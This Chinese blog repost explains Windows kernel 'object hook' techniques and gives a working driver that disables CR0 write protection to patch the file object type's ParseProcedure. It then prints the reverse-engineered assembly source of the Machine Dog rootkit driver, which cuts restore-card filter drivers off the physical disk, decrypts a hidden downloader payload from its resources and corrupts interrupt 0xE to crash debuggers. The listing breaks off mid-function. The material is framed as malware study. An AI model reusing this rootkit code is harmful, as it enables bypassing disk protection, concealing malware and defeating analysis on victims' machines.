Object Hook 简单介绍

来源:互联网 发布:中国作家协会网络作家 编辑:程序博客网 时间:2024/05/16 07:27
其实这东西很多大牛多玩腻了的东西,看下论坛上比较少这类的,就来献献丑,科普一下 大牛们直接
可以飘过,这东西主要是自我复习一下OBJECT的一些知识,技术这东西久了不弄容易忘记,所以
拿出来跟和我一样菜的菜鸟们分享一下。如果有不对的地方欢迎大家指正,这样对于自己也进步得
快点,多多交流,互相学习,水平才能提高得快。
   第一我们先看下OBJECT的组成 主要是3部分 如下图
              
         
   我们主要看下OBJECT_HEADER这个数据结构几个重要我成员我注释出来
[cpp] view plain copy
  1. typedef struct _OBJECT_HEADER {   
  2.   LONG PointerCount;   
  3.   union {   
  4.     LONG HandleCount;   
  5.     PSINGLE_LIST_ENTRY SEntry;   
  6.   };   
  7.   POBJECT_TYPE Type; //这个很重要HOOK就靠它,对象类型结构也是一个对象,TYPE它是系统第一个创建出来的对象类型   
  8.   UCHAR NameInfoOffset; //OBJECT_HEADER_NAME_INFO 偏移  
  9.   UCHAR HandleInfoOffset; //OBJECT_HEADER_HANDLE_INFO 偏移  
  10.   UCHAR QuotaInfoOffset;   
  11.   UCHAR Flags;   
  12.   union   
  13.   {   
  14.     POBJECT_CREATE_INFORMATION ObjectCreateInfo;   
  15.     PVOID QuotaBlockCharged;   
  16.   };  
  17.     
  18.   PSECURITY_DESCRIPTOR SecurityDescriptor;   
  19.   QUAD Body;//对象本身   
  20. } OBJECT_HEADER, *POBJECT_HEADER;   

对象类型结构
[cpp] view plain copy
  1. typedef struct _OBJECT_TYPE {   
  2.   ERESOURCE Mutex;   
  3.   LIST_ENTRY TypeList; //队列  
  4.   UNICODE_STRING Name;   
  5.   PVOID DefaultObject;   
  6.   ULONG Index;   
  7.   ULONG TotalNumberOfObjects;   
  8.   ULONG TotalNumberOfHandles;   
  9.   ULONG HighWaterNumberOfObjects;   
  10.   ULONG HighWaterNumberOfHandles;   
  11.   OBJECT_TYPE_INITIALIZER TypeInfo; //这个很重要,下面讲这个结构  
  12. #ifdef POOL_TAGGING   
  13.   ULONG Key;   
  14. #endif   
  15. } OBJECT_TYPE, *POBJECT_TYPE;  


对象类型结构主要是创建对象类型比如*IoFileObjectType,*PsProcessType,*PsThreadType这些类型
系统初始化的时候第一个创建的对象类型结构就是TYPE类型结构生成对象目录\ObjectTypes 其它后面的
比如文件对象类型就挂在\ObjectTypes\File 再比如\ObjectTypes\Device
说白点就是你要生成对象就会创建(指定)相对应的对象类型结构
 最重要的一个数据结构
[cpp] view plain copy
  1. typedef struct _OBJECT_TYPE_INITIALIZER {  
  2.   USHORT Length;  
  3.   BOOLEAN UseDefaultObject;  
  4.   BOOLEAN CaseInsensitive;  
  5.   ULONG InvalidAttributes;  
  6.   GENERIC_MAPPING GenericMapping;  
  7.   ULONG ValidAccessMask;  
  8.   BOOLEAN SecurityRequired;  
  9.   BOOLEAN MaintainHandleCount;  
  10.   BOOLEAN MaintainTypeList;  
  11.   POOL_TYPE PoolType;  
  12.   ULONG DefaultPagedPoolCharge;  
  13.   ULONG DefaultNonPagedPoolCharge;  
  14.   PVOID DumpProcedure;/* 
  15.   PVOID OpenProcedure;        这几个函数指针就是我们最需要的 
  16.   PVOID CloseProcedure;       这些函数都是决定你的对象的的一些 
  17.   PVOID DeleteProcedure;      操作或者叫方法,比如打开 创建 删除 
  18.   PVOID ParseProcedure;       不同的对象类型(OBJECT_TYPE)操作也不同 
  19.   PVOID SecurityProcedure;    所以要清楚的知道(OBJECT_TYPE)对象是什么类型 
  20.   PVOID QueryNameProcedure;   如果没有配置系统调用的对象类型 都是用NtOpenFile 
  21.   PVOID OkayToCloseProcedure;*/  
  22. } OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;  


这些方法何时被调用呢,我举个例子
当你调用NtCreateFile->IoCreateFile->ObOpenObjectByName->ObpLookupObjectName->IopParseFile->IopParseDevice
IopParseFile最终也会调用IopParseDevice
ObjectHook其实就是比如你要HOOK 创建打开就是OBJECT_TYPE_INITIALIZER->ParseProcedure
说了一大堆废话 上段代码。
[cpp] view plain copy
  1. #include <ntddk.h>  
  2.   
  3. #define OBJECT_TO_OBJECT_HEADER(o)\  
  4.       CONTAINING_RECORD((o),OBJECT_HEADER,Body)  
  5. #define CONTAINING_RECORD(address,type,field)\  
  6.       ((type*)(((ULONG_PTR)address)-(ULONG_PTR)(&(((type*)0)->field))))  
  7.   
  8.   
  9. typedef struct _OBJECT_TYPE_INITIALIZER {  
  10.   USHORT Length;  
  11.   BOOLEAN UseDefaultObject;  
  12.   BOOLEAN CaseInsensitive;  
  13.   ULONG InvalidAttributes;  
  14.   GENERIC_MAPPING GenericMapping;  
  15.   ULONG ValidAccessMask;  
  16.   BOOLEAN SecurityRequired;  
  17.   BOOLEAN MaintainHandleCount;  
  18.   BOOLEAN MaintainTypeList;  
  19.   POOL_TYPE PoolType;  
  20.   ULONG DefaultPagedPoolCharge;  
  21.   ULONG DefaultNonPagedPoolCharge;  
  22.   PVOID DumpProcedure;  
  23.   PVOID OpenProcedure;  
  24.   PVOID CloseProcedure;  
  25.   PVOID DeleteProcedure;  
  26.   PVOID ParseProcedure;  
  27.   PVOID SecurityProcedure;  
  28.   PVOID QueryNameProcedure;  
  29.   PVOID OkayToCloseProcedure;  
  30. } OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;  
  31.   
  32.   
  33. typedef struct _OBJECT_TYPE {   
  34.   ERESOURCE Mutex;   
  35.   LIST_ENTRY TypeList;   
  36.   UNICODE_STRING Name;   
  37.   PVOID DefaultObject;   
  38.   ULONG Index;   
  39.   ULONG TotalNumberOfObjects;   
  40.   ULONG TotalNumberOfHandles;   
  41.   ULONG HighWaterNumberOfObjects;   
  42.   ULONG HighWaterNumberOfHandles;   
  43.   OBJECT_TYPE_INITIALIZER TypeInfo;   
  44. #ifdef POOL_TAGGING   
  45.   ULONG Key;   
  46. #endif   
  47. } OBJECT_TYPE, *POBJECT_TYPE;  
  48.   
  49. typedef struct _OBJECT_CREATE_INFORMATION {   
  50.   ULONG Attributes;   
  51.   HANDLE RootDirectory;   
  52.   PVOID ParseContext;   
  53.   KPROCESSOR_MODE ProbeMode;   
  54.   ULONG PagedPoolCharge;   
  55.   ULONG NonPagedPoolCharge;   
  56.   ULONG SecurityDescriptorCharge;   
  57.   PSECURITY_DESCRIPTOR SecurityDescriptor;   
  58.   PSECURITY_QUALITY_OF_SERVICE SecurityQos;   
  59.   SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;   
  60. } OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION;  
  61.   
  62.   
  63.   
  64. typedef struct _OBJECT_HEADER {   
  65.   LONG PointerCount;   
  66.   union {   
  67.     LONG HandleCount;   
  68.     PSINGLE_LIST_ENTRY SEntry;   
  69.   };   
  70.   POBJECT_TYPE Type;   
  71.   UCHAR NameInfoOffset;   
  72.   UCHAR HandleInfoOffset;   
  73.   UCHAR QuotaInfoOffset;   
  74.   UCHAR Flags;   
  75.   union   
  76.   {   
  77.     POBJECT_CREATE_INFORMATION ObjectCreateInfo;   
  78.     PVOID QuotaBlockCharged;   
  79.   };  
  80.     
  81.   PSECURITY_DESCRIPTOR SecurityDescriptor;   
  82.   QUAD Body;   
  83. } OBJECT_HEADER, *POBJECT_HEADER;  
  84. POBJECT_TYPE pType= NULL;  
  85. POBJECT_HEADER addrs=NULL;  
  86. PVOID OldParseProcedure = NULL;  
  87.   
  88.   
  89. NTSTATUS NewParseProcedure(IN PVOID ParseObject,  
  90.              IN PVOID ObjectType,  
  91.              IN OUT PACCESS_STATE AccessState,  
  92.              IN KPROCESSOR_MODE AccessMode,  
  93.              IN ULONG Attributes,  
  94.              IN OUT PUNICODE_STRING CompleteName,  
  95.              IN OUT PUNICODE_STRING RemainingName,  
  96.              IN OUT PVOID Context OPTIONAL,  
  97.              IN PSECURITY_QUALITY_OF_SERVICE SecurityQos OPTIONAL,  
  98.              OUT PVOID *Object)   
  99. {  
  100.      NTSTATUS Status;  
  101.      KdPrint(("object is hook\n"));  
  102.    
  103.   __asm  
  104.   {  
  105.       push eax  
  106.       push Object  
  107.       push SecurityQos  
  108.       push Context  
  109.       push RemainingName  
  110.       push CompleteName  
  111.       push Attributes  
  112.       movzx eax, AccessMode  
  113.       push eax  
  114.       push AccessState  
  115.       push ObjectType  
  116.       push ParseObject  
  117.       call OldParseProcedure  
  118.       mov Status, eax  
  119.       pop eax  
  120.   
  121.         
  122.   }   
  123.   return Status;  
  124.   
  125. }  
  126. NTSTATUS Hook()  
  127. {  
  128.   NTSTATUS  Status;  
  129.   HANDLE hFile;  
  130.   UNICODE_STRING Name;  
  131.   OBJECT_ATTRIBUTES Attr;  
  132.   IO_STATUS_BLOCK ioStaBlock;  
  133.   PVOID pObject = NULL;  
  134.     
  135.     
  136.   RtlInitUnicodeString(&Name,L"\\Device\\HarddiskVolume1\\1.txt");  
  137.   InitializeObjectAttributes(&Attr,&Name,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE ,\  
  138.     0,NULL);  
  139.   Status = ZwOpenFile(&hFile,GENERIC_ALL,&Attr,&ioStaBlock,\  
  140.     0,FILE_NON_DIRECTORY_FILE);  
  141.   if (!NT_SUCCESS(Status))  
  142.   {  
  143.     KdPrint(("File is Null\n"));  
  144.     return Status;  
  145.   }  
  146.    
  147.   Status = ObReferenceObjectByHandle(hFile,GENERIC_ALL,NULL,KernelMode,&pObject,NULL);  
  148.   if (!NT_SUCCESS(Status))  
  149.   {  
  150.     KdPrint(("Object is Null\n"));  
  151.     return Status;  
  152.   }  
  153.    
  154.  KdPrint(("pobject is %08X\n",pObject));  
  155.   
  156.  addrs=OBJECT_TO_OBJECT_HEADER(pObject);//获取对象头  
  157.   
  158.   
  159. pType=addrs->Type;//获取对象类型结构 object-10h  
  160.   
  161. KdPrint(("pType is %08X\n",pType));  
  162. OldParseProcedure = pType->TypeInfo.ParseProcedure;//获取服务函数原始地址OBJECT_TYPE+9C位置为打开  
  163. KdPrint(("OldParseProcedure addrs is %08X\n",OldParseProcedure));  
  164. KdPrint(("addrs is %08X\n",addrs));  
  165. //这里最好检查一下OldParseProcedure ,我真的是太懒了。  
  166. __asm  
  167.   {  
  168.     cli;  
  169.     mov eax, cr0;  
  170.     and eax, not 10000h;  
  171.     mov cr0, eax;  
  172.   }  
  173. pType->TypeInfo.ParseProcedure = NewParseProcedure;//hook  
  174.   __asm  
  175.   {  
  176.     mov eax, cr0;  
  177.     or eax, 10000h;  
  178.     mov cr0, eax;  
  179.     sti;  
  180.   }  
  181.  Status = ZwClose(hFile);  
  182.   return Status;  
  183. }  
  184.   
  185. NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)  
  186. {  
  187.   NTSTATUS Status = STATUS_SUCCESS;  
  188.   Status=Hook();  
  189.   return Status;  
  190. }  



名称:  3.jpg查看次数: 1316文件大小:  36.5 KB

名称:  6.jpg查看次数: 1313文件大小:  29.6 KB
===============================================================================================
今天是2008年1月8号,一个非常响亮的日子,今天我们将开始rootkit实战之旅。第一篇是object hook.

这篇文章来源于前段时间我逆向的机器狗代码,前段时间我只是贴出了应用的部分,对于内核的部分,我没有贴出来,主要是害怕他被别人利用。但是从学习角度来讲,这里面rootkit的应用,却是一个非常好的学习例子,所以今天我把它拿出来作为我们rootkit的开篇来讲。希望大家不要将代码用于他途。

对于这个rootkit,突破还原是它的一部分功能,但是精彩的部分不在此,而在于它的信息加密与隐藏还有他自身的反调试技术。逆向分析之余,对于作者的良苦用心,我还是叹息不已,作者可以把这个搞得这么精彩,如果用于正途,那会造福多少人。。。。。。

信息隐藏亮点之一: 将rootkit作为资源隐藏于用户模式程序之中
            亮点之二: 将这个用户程序代码作为生成密钥的引子,可以有效地防止逆向后,隐藏信息被纰漏,因为只有逆向后生成的代码,跟原作者的代码丝毫不差,将来才能打开其隐藏至深的下载者链接及代码。
           亮点之三:用一个固定的KEY,通过某种运算,产生出1024个密钥组成的数组。
                         然后用这个密钥组与用户代码进行运算,最终生成一个4字节的解码KEY。
                         利用解码KEY,在从加载到内存的驱动中,找出隐藏在其资源中的那份肮脏的
                        下载者代码及名单解析出来,返回用户程序,用户程序用它来做坏事,并且最后
                        还要把痕迹擦得一干二净。
          亮点之四:修改idt 0e号中断,让他指向一个无效地址,从而在调试的时候让你蓝屏,起到
                        反调试的功能。

这些亮点仅仅是rootkit中的,作为用户代码部分还有很多的亮点,由于前段时间已经贴出它的代码,并作了详细注释,因此大家可以参照看看它的亮点在哪里。好了,我们言归正传。

突破还原卡原理:在这里他使用的就是object hook大法。

1。IRP_MJ_CREATE例程负责得到磁盘设备对象,调用IoGetDeviceObjectPointer函数得到设备名“\\Device\\Harddisk0\\DR0”的设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。

2。IRP_MJ_CLOSE 中对恢复DR0上的附加,做到来无影去无踪。

分析了这么多,我们来看逆向的代码:
.386
.model flat, stdcall
option casemap:none

include pcihdd.inc

.data
        aDevicePhysical        db '\Device\PhysicalHardDisk0',0
        aDosdevicesPhys        db '\DosDevices\PhysicalHardDisk0',0
        SourceString db        '\Device\Harddisk0\DR0',0
        g_DeviceObject dd        0
        g_AttachedDevice dd        0
        DecodeKey dd        1024 dup (0)
        DecodeKEY dd        0
        P dd 0
        NumberOfBytes dd 0
        IDTData db 6 dup(0)
        Format db '%08X',0

.code

;*******************************************************************************
; 产生一个解密密钥数组
;*******************************************************************************
CreateDecodeKey proc
        jmp        short $+2 ;花指令
        mov        ecx, 100h
        mov        edx, 0CCECC9B1h  ;KEY
        
OutLoop:
        lea        eax, [ecx-1] 
        push        ecx
        mov        ecx, 8
        
InLoop:
        shr        eax, 1 
        jnb        ContinueLoop
        xor        eax, edx
        
ContinueLoop:
        dec        ecx
        jnz        InLoop
        pop        ecx
        mov        DecodeKey[ecx*4], eax ;保存解密密钥数组
        dec        ecx
        jnz        OutLoop
        retn
CreateDecodeKey endp

;*****************************************************************************
; 将用户态传入的整个代码体与上面产生的解密密钥数组运算,最终生成一个解密KEY,该
; 解密KEY将会用于解密驱动资源的内容,将解密后的资源内容反馈给用户.(看start)
;*****************************************************************************
DecodeInputData proc        near
        jmp        short $+2 ;花指令
        mov        eax, 0FFFFFFFFh
        or        ebx, ebx   ;判断IRP.AssociatedIrp.SystemBuffer是否为空
        jz        Quit
        
@@:
        mov        dl, [ebx]
        xor        dl, al
        movzx        edx, dl
        shr        eax, 8
        xor        eax, DecodeKey[edx*4]
        inc        ebx
        dec        ecx
        jnz        @B
        
Quit:
        not        eax
        retn
DecodeInputData endp

;************************************************************************
; 在第三级资源中取出资源信息,成功后,返回取出的资源长度
;************************************************************************

SearchResourceByIDInThirdLayer proc        PEHeader:dword,ResourceAddr:dword,ChildResource:dword,pOutValue:dword
        LOCAL RetValue:dword        
        pusha
        xor        eax, eax
        mov        RetValue, eax
        mov        esi, ChildResource
        mov        cx, [esi+0Ch];以名称命名的入口数量
        add        cx, [esi+0Eh];以ID命名的入口数量
        movzx        ecx, cx
        add        esi, 10h ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
        
        cmp        ecx, 0
        jbe        Quit
        mov        ebx, [esi+4] ;offsetToData目录项指针
        and        ebx, 7FFFFFFFh
        add        ebx, ResourceAddr ;ebx指向IMAGE_RESOURCE_DATA_ENTRY结构
        mov        eax, [ebx]  ;取资源数据的RVA ,对应于IMAGE_RESOURCE_DATA_ENTRY结构中的第一项
        add        eax, PEHeader
        mov        ecx, pOutValue ;pOutValue指向资源数据的地址
        mov        [ecx], eax
        mov        ecx, [ebx+4]
        mov        RetValue, ecx ;返回资源数据的长度
        
Quit:
        popa
        mov        eax, RetValue
        retn
SearchResourceByIDInThirdLayer endp

;************************************************************************
; 在第二级资源中查找ID为ChildResID的资源项
;************************************************************************
SearchResourceByIDInSecondLayer proc        PEHeader:dword,ResourceAddr:dword,ChildResource:dword,ChildResID:dword,pOutValue:dword
        
        LOCAL RetValue:dword
        pusha
        xor        eax, eax
        mov        RetValue, eax
        mov        esi, ChildResource
        mov        cx, [esi+0Ch] ;以名称命名的入口数量
        add        cx, [esi+0Eh] ;以ID命名的入口数量
        movzx        ecx, cx
        add        esi, 10h      ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
        jmp        StartSearchChildDirectoryEntry
        
ContinueSearchChildDirectoryEntry:
        push        ecx
        mov        ebx, [esi+4] ;offsetToData目录项指针
        test        ebx, 80000000h
        jz        JumpOver ;; 如果最高31位为0,则跳过,继续读下一条目录项
        and        ebx, 7FFFFFFFh
        add        ebx, ResourceAddr ;否则取下一层地址
        mov        edx, [esi] ;取目录项字符串指针或者ID
        test        edx, 80000000h
        jnz        JumpOver  ;如果31位为1的话,[esi]低位代表字符串指针
        cmp        edx, ChildResID
        jnz        JumpOver
        push        pOutValue
        push        ebx
        push        ResourceAddr
        push        PEHeader
        call        SearchResourceByIDInThirdLayer
        mov        RetValue, eax
        or        eax, eax
        jz        JumpOver
        pop        ecx
        jmp        Quit
        
JumpOver:
        add        esi, 8
        pop        ecx
        dec        ecx
        
StartSearchChildDirectoryEntry:
        cmp        ecx, 0
        ja        ContinueSearchChildDirectoryEntry
        
Quit:
        popa
        mov        eax, RetValue
        retn
SearchResourceByIDInSecondLayer endp

;******************************************************************************************
; 在第一级资源中搜索ID为RESOURCEID的资源
;******************************************************************************************

SearchResourceByIDInFirstLayer proc        PEHeader:dword,ChildResID:dword,RESOURCEID:dword,pOutValue:dword
    LOCAL retvalue:dword 
        LOCAL ResourceAddr:dword
        
        pusha
        xor        eax, eax
        mov        retvalue, eax
        mov        edi, PEHeader
        mov        edi, [edi+3Ch]
        add        edi, PEHeader
        mov        ecx, [edi+8Ch] ;资源表大小
        or        ecx, ecx
        jz        QUIT
        mov        eax, [edi+88h] ;资源表RVA
        add        eax, PEHeader
        mov        ResourceAddr, eax
        push        eax                ; VirtualAddress
        call        MmIsAddressValid
        or        eax, eax
        jnz        @F
        jmp        QUIT
        
@@:
        mov        esi, ResourceAddr
        mov        cx, [esi+0Ch];以名称命名的入口数量
        add        cx, [esi+0Eh];以ID命名的入口数量
        movzx        ecx, cx
        add        esi, 10h     ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
        jmp        StartSearchDirectoryEntry
        
ContinueSearchDirectoryEntry:
        push        ecx
        mov        ebx, [esi+4]  ;offsetToData目录项指针
        test        ebx, 80000000h
        jz        JumpOver ; 如果最高31位为0,则跳过,继续读下一条目录项
        and        ebx, 7FFFFFFFh
        add        ebx, ResourceAddr ;保存下一层地址
        mov        eax, [esi];取目录项字符串指针或者ID
        test        eax, 80000000h
        jnz         JumpOver ;如果31位为1的话,[esi]低位代表字符串指针
        cmp        eax, RESOURCEID
        jnz        JumpOver
        push        pOutValue ;找到匹配的资源ID
        push        ChildResID
        push        ebx
        push        ResourceAddr
        push        PEHeader
        call        SearchResourceByIDInSecondLayer
        mov        retvalue, eax
        pop        ecx
        jmp        QUIT
        
JumpOver:
        add        esi, 8 ;继续读下一条目录项
        pop        ecx
        dec        ecx
        
StartSearchDirectoryEntry:
        cmp        ecx, 0 ;判断目录块是否遍历完毕
        ja        ContinueSearchDirectoryEntry 
        
QUIT:
        popa
        mov        eax, retvalue
        retn
SearchResourceByIDInFirstLayer endp

; ************************************************************************
;  获取当前驱动文件的内存加载位置,如果没找到,返回0
;*************************************************************************

GetPeHeader proc        near

        LOCAL PEStart:dword
        pusha
        mov        PEStart, 0
        
CURRENT_EIP:
        lea        ebx, CURRENT_EIP
        and        ebx, 0FFFFFC00h ; 将低10位清零
        
CHECKPEHEADER:                ; VirtualAddress
        push        ebx
        call        MmIsAddressValid  ;判断当前地址是否有效
        or        eax, eax              
        jz        QUIT           ;不成功则跳转退出
        cmp        ebx, 80000000h ;如果当前的eip小于等于80000000h,则退出
        jbe        QUIT
        cmp        word ptr [ebx],        5A4Dh ; 'MZ'
        jnz        SEARCHDOSHEADER
        mov        edi, ebx
        add        edi, [ebx+3Ch]
        push        edi                ; VirtualAddress
        call        MmIsAddressValid
        or        eax, eax
        jz        SEARCHPEHEADER
        cmp        word ptr [edi],        4550h ;'PE'
        jnz        SEARCHPEHEADER
        mov        PEStart, ebx
        jmp        QUIT
        
SEARCHPEHEADER:
        sub        ebx, 400h
        jmp        CHECKPEHEADER
        jmp        QUIT
        
SEARCHDOSHEADER:
        sub        ebx, 400h
        jmp        CHECKPEHEADER
        
QUIT:
        popa
        mov        eax, PEStart
        retn
GetPeHeader endp

; ***************************************************************************
; 检查9号中断描述符和E号中断描述符的偏移地址高位字节,如果9号中断描述符的
; 偏移地址高位字节为0,则退出,若不为0,则判断E号中断描述符的偏移地址高位字节
; 与9号中断描述符偏移地址高位字节进行比对,若两者相等,则退出。否则设置E号中断
; 描述符的偏移地址高16位为0.使其指向一个错误的地址。破坏该中断的功能。
; 由于很多调式器会挂接中断0xE,该Rootkit这样做可以使该程序在调式时造成系统蓝屏。
; 因此这是作者设置的反调式陷阱。
;****************************************************************************

AntiDebug proc        near
        LOCAL nTemp:dword
        pusha
        sidt        fword ptr IDTData         
        mov        esi, dword ptr IDTData+2  ;取基地址
        mov        eax, 9                    ;index = 9, #interrupt 09
        shl        eax, 3                    ;每个描述符占8字节
        add        esi, eax                  ;esi指向9号描述符            
        movzx        eax, word ptr [esi+6]     ;取中断函数高16位偏移地址
        shl        eax, 10h
        mov        ax, [esi]                 ;取中断函数低16位偏移地址
        and        eax, 0FF000000h           ;取偏移地址的一个高字节
        mov        nTemp, eax
        test        eax, eax
        jz        QUIT
        mov        esi, dword ptr IDTData+2 ;取基地址
        mov        eax, 0Eh                 ;index = E, #interrupt 0E
        shl        eax, 3                   ;每个描述符占8字节
        add        esi, eax                 ;esi指向E号描述符   
        movzx        eax, word ptr [esi+6]    ;取中断函数高16位偏移地址
        shl        eax, 10h
        mov        ax, [esi]                ;取中断函数低16位偏移地址
        and        eax, 0FF000000h          ;取偏移地址的一个高字节
        cmp        eax, nTemp               ;比较这两个中断描述符中的偏移地址高位字节
        jz        QUIT
        mov        word ptr [esi+6], 0   ;改中断门偏移地址,设置高16位为0
        
QUIT:
        popa
        retn
AntiDebug endp

;************************************************************************************
;  处理IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE请求
;  IRP_MJ_CREATE例程负责得到磁盘设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。
;  调用IoGetDeviceObjectPointer函数得到设备名“\\Device\\Harddisk0\\DR0”的设备对象。
;  IRP_MJ_CLOSE 中对恢复DR0上的附加
;  IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,首先根据一个固定KEY产生一个解密数组,然后
;  把用户输入的代码跟解密数组运算,最终产生一个密钥,最后,用这个密钥解密前面找出的sys资源,将
;  解密后的内容返给用户程序。
;************************************************************************************
DispatchFunction proc device:dword,pIrp:dword

        LOCAL ObjectName:UNICODE_STRING
        LOCAL DestinationString:OEM_STRING
        LOCAL FileObject:dword
        LOCAL DeviceObject:dword
        
        push        edi
        push        esi
        push        ebx
        mov        edi, pIrp
        mov        dword ptr [edi+1Ch], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
        mov        dword ptr [edi+18h], 0
        
        mov        esi, [edi+60h] ;取IRP.CurrentStackLocation
        movzx        eax, byte ptr [esi];IO_STACK_LOCATION.MajorFunction
        or        eax, eax
        jnz        IRPMJCLOSE
        jmp        short $+2          ;花指令
        
        ;IRP_MJ_CREATE请求,IRP_MJ_CREATE中会断开\Device\Harddisk0\DR0上附加的设备.
        push        offset SourceString ; "\\Device\\Harddisk0\\DR0"
        lea        eax, DestinationString
        push        eax                ; DestinationString
        call        RtlInitAnsiString
        push        1                ; AllocateDestinationString
        lea        eax, DestinationString
        push        eax                ; SourceString
        lea        eax, ObjectName
        push        eax                ; DestinationString
        call        RtlAnsiStringToUnicodeString
        xor        eax, eax
        mov        FileObject, eax
        mov        DeviceObject, eax
        lea        eax, DeviceObject
        push        eax                ; DeviceObject
        lea        eax, FileObject
        push        eax                ; FileObject
        push        80h                ; DesiredAccess
        lea        eax, ObjectName
        push        eax                ; ObjectName
        call        IoGetDeviceObjectPointer
        mov        eax, FileObject
        jmp        short $+2 ;花指令
        mov        eax, [eax+4] ;FILE_OBJECT.DeviceObject 见ntddk.inc
        mov        g_DeviceObject, eax
        cmp        dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice
        jz        ClearAttachedDevice
        jmp        short $+2 ;花指令
        mov        ecx, [eax+10h]
        xchg        ecx, g_AttachedDevice
        mov        [eax+10h], ecx
        
ClearAttachedDevice:
        push        FileObject
        call        ObDereferenceObject
        lea        eax, ObjectName
        push        eax                ; UnicodeString
        call        RtlFreeUnicodeString
        jmp        Quit
        
IRPMJCLOSE:
        cmp        eax, 2
        jnz        IRPMJDEVICECONTROL
        mov        eax, g_DeviceObject
        or        eax, eax
        jz        Quit
        mov        ecx, g_AttachedDevice
        or        ecx, ecx
        jz        NoAttachedDevice
        mov        [eax+10h], ecx
        
NoAttachedDevice:
        jmp        Quit
        
IRPMJDEVICECONTROL:
        cmp        eax, 0Eh
        jnz        Quit
        mov        eax, [esi+0Ch];  IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode
        cmp        eax, 0F0003C04h ;判断是否是应用端传进的ctlcode码
        jnz        Quit
        call        CreateDecodeKey
        mov        ebx, [edi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
        mov        ecx, [esi+8]   ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
        call        DecodeInputData
        mov        DecodeKEY, eax
        push        DecodeKEY
        push        offset Format        ; "%08X"
        call        DbgPrint
        add        esp, 8
        mov        eax, [esi+4] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength
        cmp        eax, NumberOfBytes
        jbe        Quit
        
        mov        edi, [edi+3Ch];IRP.UserBuffer
        mov        esi, P
        mov        ecx, NumberOfBytes
        shr        ecx, 2
        
DecodeResource:  ;将资源内容解密输出,反馈给用户
        lodsd
        xor        eax, DecodeKEY
        stosd
        dec        ecx
        jnz        DecodeResource
        mov        ecx, NumberOfBytes
        and        ecx, 3
        rep movsb
        
Quit:
        push        0
        push        pIrp
        call        IoCompleteRequest
        mov        eax, 0
        pop        ebx
        pop        esi
        pop        edi
        retn
DispatchFunction endp

;******************************************************************
; UnLoad例程
;******************************************************************
PCIHDDUnload proc pDriverObject :dword

        LOCAL DestinationString:OEM_STRING
        LOCAL SymbolicLinkName:UNICODE_STRING
        
        push        edi
        push        esi
        push        ebx
        pusha
        cmp        P, 0
        jz        CONTINUE
        push        P                ; P
        call        ExFreePool ;释放内存
        
CONTINUE:
        cmp        pDriverObject, 0  
        jz        QUIT
        push        offset aDosdevicesPhys ; "\\DosDevices\\PhysicalHardDisk0"
        lea        eax, DestinationString
        push        eax                ; DestinationString
        call        RtlInitAnsiString
        push        1                ; AllocateDestinationString
        lea        eax, DestinationString
        push        eax                ; SourceString
        lea        eax, SymbolicLinkName
        push        eax                ; DestinationString
        call        RtlAnsiStringToUnicodeString
        lea        eax, SymbolicLinkName
        push        eax                ; SymbolicLinkName
        call        IoDeleteSymbolicLink
        lea        eax, SymbolicLinkName
        push        eax                ; UnicodeString
        call        RtlFreeUnicodeString
        mov        edi, pDriverObject
        mov        esi, [edi+4]   ;DeviceObject
        jmp        IsDeviceExist
        
DELETEDEVICE:
        mov        edi, [esi+0Ch];DriverObject
        push        esi                ; DeviceObject
        call        IoDeleteDevice
        mov        esi, edi
        
IsDeviceExist:
        or        esi, esi
        jnz        DELETEDEVICE
        
QUIT:
        popa
        pop        ebx
        pop        esi
        pop        edi
        retn
PCIHDDUnload endp

; **********************************************************************
; 这里是驱动程序的入口处
; **********************************************************************
public start
start proc near

        LOCAL nTemp:dword
        LOCAL DestinationString:OEM_STRING
        LOCAL DeviceObject:dword
        LOCAL SymbolicLinkName:UNICODE_STRING
        LOCAL DeviceName:UNICODE_STRING
        LOCAL DriverObject:dword
        
        push        edi
        push        esi
        push        ebx
        pusha
        nop
        nop
        call        AntiDebug ;反调试
        call        GetPeHeader
        or        eax, eax
        jz        QUIT ;没找到当前驱动内存加载位置
        mov        ecx, eax
        lea        eax, nTemp
        push        eax
        push        3E8h
        push        3E8h
        push        ecx
        call        SearchResourceByIDInFirstLayer
        or        eax, eax
        jz        QUIT
        mov        NumberOfBytes, eax
        push        NumberOfBytes        ; NumberOfBytes
        push        0                ; PoolType
        call        ExAllocatePool ;根据资源长度申请内存
        mov        P, eax
        jmp        short $+2 ;花指令
        mov        edi, P
        mov        esi, nTemp
        mov        ecx, NumberOfBytes
        rep movsb   ;将资源拷贝到缓冲区
        jmp         ContinueWork
        
QUIT:
        popa
        xor        eax, eax
        dec        eax
        pop        ebx
        pop        esi
        pop        edi
        retn
        
ContinueWork:
        jmp        short $+2 ;花指令
        mov        eax, DriverObject
        mov        dword ptr [eax+34h], offset PCIHDDUnload ;DriverObject.DriverUnLoad = PCIHDDUnload
        lea        edi, [eax+38h]    ;edi指向MajorFunction
        lea        eax, DispatchFunction
        mov        [edi], eax     ;IRP_MJ_CREATE                EQU          0
        mov        [edi+8], eax   ;IRP_MJ_CLOSE                equ   2
        mov        [edi+38h], eax ;IRP_MJ_DEVICE_CONTROL        equ   0Eh  见ntddk.inc
        
        push        offset aDevicePhysical ; "\\Device\\PhysicalHardDisk0"
        lea        eax, DestinationString
        push        eax                ; DestinationString
        call        RtlInitAnsiString
        push        1                ; AllocateDestinationString
        lea        eax, DestinationString
